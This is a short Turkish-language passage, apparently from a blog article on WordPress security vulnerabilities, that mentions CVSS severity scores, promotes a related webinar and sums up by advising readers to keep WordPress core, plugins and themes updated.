    CVSS puanı, herhangi bir güvenlik açığının önem derecesini ve kapsamını belirlememize yardımcı olabilir. Sonraki birkaç bölümde, genellikle güvenlik açığı açıklamalarında yer alan bazı önemli güvenlik açığı terimlerini ele alacağız.

    WordPress Güvenlik Açıkları Açıklandı Web Semineri

    Aynı konuyu kapsayan web seminerimize göz atın.

    Özet: WordPress Güvenlik Açıkları Açıklandı

    WordPress güvenlik açıkları korkutucu olsa da, iyi haber şu ki, çoğu WordPress güvenlik açığı, kötü adamlar bunları kullanma şansı bulamadan önce keşfedilir ve yamalanır.

    WordPress çekirdeğini ve eklentinizi ve temalarınızı güncel tutarak web sitenizi güvenlik açıklarına karşı korumaya yardımcı olabilirsiniz, en son güvenlik yamalarını aldığınızdan emin olmanın en iyi yolu budur.